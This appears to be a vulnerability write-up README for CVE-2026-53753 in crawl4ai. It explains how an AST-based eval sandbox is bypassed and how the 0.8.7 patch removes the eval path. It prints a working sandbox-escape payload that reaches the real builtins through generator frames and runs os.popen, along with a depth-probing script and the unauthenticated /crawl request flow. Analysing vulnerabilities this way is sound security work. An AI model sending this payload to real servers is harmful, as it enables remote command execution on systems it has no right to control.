README.md
Rendering markdown...
# Code-level analysis — CVE-2026-53753
A complete, line-by-line walkthrough: the vulnerable sink, the AST validator's
exact checks, every AST node in the payload (and why each one passes), the runtime
frame stack, the request data-flow, and the patch.
---
## 1. The vulnerable sink
`crawl4ai/extraction_strategy.py` (v0.8.6):
```python
_SAFE_EVAL_BUILTINS = { # the only builtins the sandbox is supposed to expose
"str": str, "int": int, ... "list": list, "dict": dict, ...
"isinstance": isinstance, "type": type,
} # note: no __import__, no eval, no open, no getattr
def _safe_eval_expression(expression: str, local_vars: dict):
tree = ast.parse(expression, mode="eval") # (A) parse attacker string to AST
for node in ast.walk(tree): # (B) validate every node
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(f"Calling '{func.id}' is not allowed in expressions")
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(f"Calling '{func.attr}' is not allowed in expressions")
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # (C) restricted builtins
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
```
The model is **deny-list by name prefix**. It inspects exactly four things:
| Check | AST node type | Condition that rejects |
|-------|---------------|------------------------|
| import | `ast.Import` / `ast.ImportFrom` | always |
| attribute read | `ast.Attribute` | `.attr.startswith("_")` |
| call by name | `ast.Call` → `func` is `ast.Name` | `.id.startswith("_")` |
| call by attribute | `ast.Call` → `func` is `ast.Attribute` | `.attr.startswith("_")` |
Everything else — `ast.Subscript`, `ast.Lambda`, `ast.GeneratorExp`,
`ast.NamedExpr` (`:=`), `ast.Tuple`, `ast.Constant` — is **never examined**.
And the name check is *prefix-only*: any identifier not starting with `_` is fine,
regardless of how dangerous it is.
## 2. The payload as an AST
Payload (computed-field `expression`):
```python
(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
for i in [1])), list(g))[-1])()
```
What `ast.walk` yields, and the validator's verdict for each:
| AST node | From source | Validator verdict |
|----------|-------------|-------------------|
| `ast.Call` (outer) | `(lambda: …)()` | `func` is `ast.Lambda`, not `Name`/`Attribute` → **not checked** → pass |
| `ast.Lambda` | `lambda: …` | no rule for `Lambda` → pass |
| `ast.Subscript` | `( … )[-1]` | no rule for `Subscript` → pass |
| `ast.Tuple` | `(A, list(g))` | no rule for `Tuple` → pass |
| `ast.NamedExpr` | `g := (…)` | no rule for `NamedExpr` → pass |
| `ast.GeneratorExp` | `(… for i in [1])` | no rule for `GeneratorExp` → pass |
| `ast.Call` | `list(g)` | `func` is `Name('list')`, `"list"` has no `_` prefix → pass |
| `ast.Attribute attr='gi_frame'` | `g.gi_frame` | no `_` prefix → pass |
| `ast.Attribute attr='f_back'` ×3 | `.f_back.f_back.f_back` | no `_` prefix → pass |
| `ast.Attribute attr='f_builtins'` | `.f_builtins` | no `_` prefix → pass |
| `ast.Subscript` | `['__import__']` | **subscript key never inspected** → pass (this is the dunder smuggle) |
| `ast.Call` | `(…)['__import__']('os')` | `func` is a `Subscript`, not `Name`/`Attribute` → not checked → pass |
| `ast.Attribute attr='popen'` | `.popen('id')` | no `_` prefix → pass |
| `ast.Call` | `.popen('id')` | `func` is `Attribute('popen')`, no `_` → pass |
| `ast.Attribute attr='read'` | `.read()` | no `_` prefix → pass |
| `ast.Constant` | `'id'`, `'os'`, `1`, `-1` | no rule → pass |
Not a single node trips a rule, so the validator returns and `eval()` runs the
expression.
## 3. Why we need a *running* generator (`f_back` mechanics)
A frame's `f_back` (the link to its caller) is only set **while that frame is
executing**. A generator object you merely *create* is suspended — its
`gi_frame.f_back` is `None`:
```python
g = (x for x in [1])
g.gi_frame.f_back # -> None (never started)
```
So the payload must (a) reference the generator from inside its own body, and
(b) actually drive it. Both are arranged here:
* **Self-reference** — `g := (... g.gi_frame ... for i in [1])`. The `:=` binds `g`
before iteration begins; the generator body reads `g` as a free variable. The
surrounding `lambda` matters: it creates a function scope, so `g` is a **closure
cell** (`LOAD_DEREF`) the genexpr can resolve. At module/`eval` top level it would
instead be a global lookup and fail. (And `:=` cannot live in a comprehension's
*iterable*, which is why it sits in a tuple element: `(g := …, list(g))`.)
* **Driving it** — `list(g)` consumes the generator. `list` is in
`_SAFE_EVAL_BUILTINS`, so it is allowed. *While* `list` is pulling the value,
the generator frame is live and `g.gi_frame.f_back` is populated.
## 4. Runtime frame stack and the builtins swap
At the moment the generator body executes, the live stack (innermost first) is:
```
g (genexpr, RUNNING) g.gi_frame builtins = _SAFE_EVAL_BUILTINS
^ .f_back
eval("<expression>") sandbox frame builtins = _SAFE_EVAL_BUILTINS
^ .f_back
<lambda> body sandbox frame builtins = _SAFE_EVAL_BUILTINS
^ .f_back
_safe_eval_expression() normal function frame builtins = <the REAL builtins module>
```
The key fact: `eval(code, {"__builtins__": _SAFE_EVAL_BUILTINS}, locals)` only
overrides builtins **for the eval'd code's own frames**. The *calling* frame
(`_safe_eval_expression` itself) keeps the interpreter's real `builtins`. So:
```
g.gi_frame.f_back.f_back.f_back.f_builtins == <real builtins, has '__import__'>
```
`f_back × 3` is therefore the exact distance from the running genexpr to the first
frame outside the sandbox. From there, `['__import__']('os').popen(cmd).read()`
gives full command execution, and `.read()` returns stdout so the result travels
back out as the field value.
You can confirm the depth empirically:
```python
from crawl4ai.extraction_strategy import _safe_eval_expression as E
for d in range(1, 5):
chain = "g.gi_frame" + ".f_back"*d + ".f_builtins"
expr = f"(lambda: ((g := ({chain}.get('__import__') for i in [1])), list(g))[-1])()"
print(d, E(expr, {})) # __import__ first appears at depth 3
```
## 5. Request data-flow (how the schema reaches the sink)
```
POST /crawl (auth: token_dep = lambda: None because jwt_enabled = false)
-> server.py: CrawlerRunConfig.load(crawl_request.crawler_config)
deserializes {"type":"JsonCssExtractionStrategy","params":{"schema":{...}}}
-> JsonCssExtractionStrategy.extract(url, html)
finds base elements via schema["baseSelector"] (needs ≥1 match, e.g. <div>)
-> _extract_item(element, fields)
for field in fields:
if field["type"] == "computed":
_compute_field(item, field)
-> _compute_field(item, field)
if "expression" in field:
return _safe_eval_expression(field["expression"], item) # <-- SINK
```
`raw://<html…>` lets the request carry its own HTML, so the base selector matches
without any outbound fetch. The computed field's value is placed into the
extraction result and serialized into the `/crawl` JSON response — that is the
in-band exfiltration channel for command output.
## 6. The fix (0.8.6 → 0.8.7)
`0.8.7` does not try to harden the AST validator — it removes the `eval` path
entirely:
```python
# 0.8.7 _compute_field
if "expression" in field:
raise ValueError(
"Computed field 'expression' is disabled for security "
"(eval on untrusted input). Use 'function' key with a Python callable instead."
)
```
`_safe_eval_expression` no longer exists in `0.8.7`. Sending the same payload to a
patched server returns the field's `default` (here `None`) and executes nothing —
which is the binary discriminator between **VULNERABLE (≤0.8.6)** and
**PATCHED (≥0.8.7)**.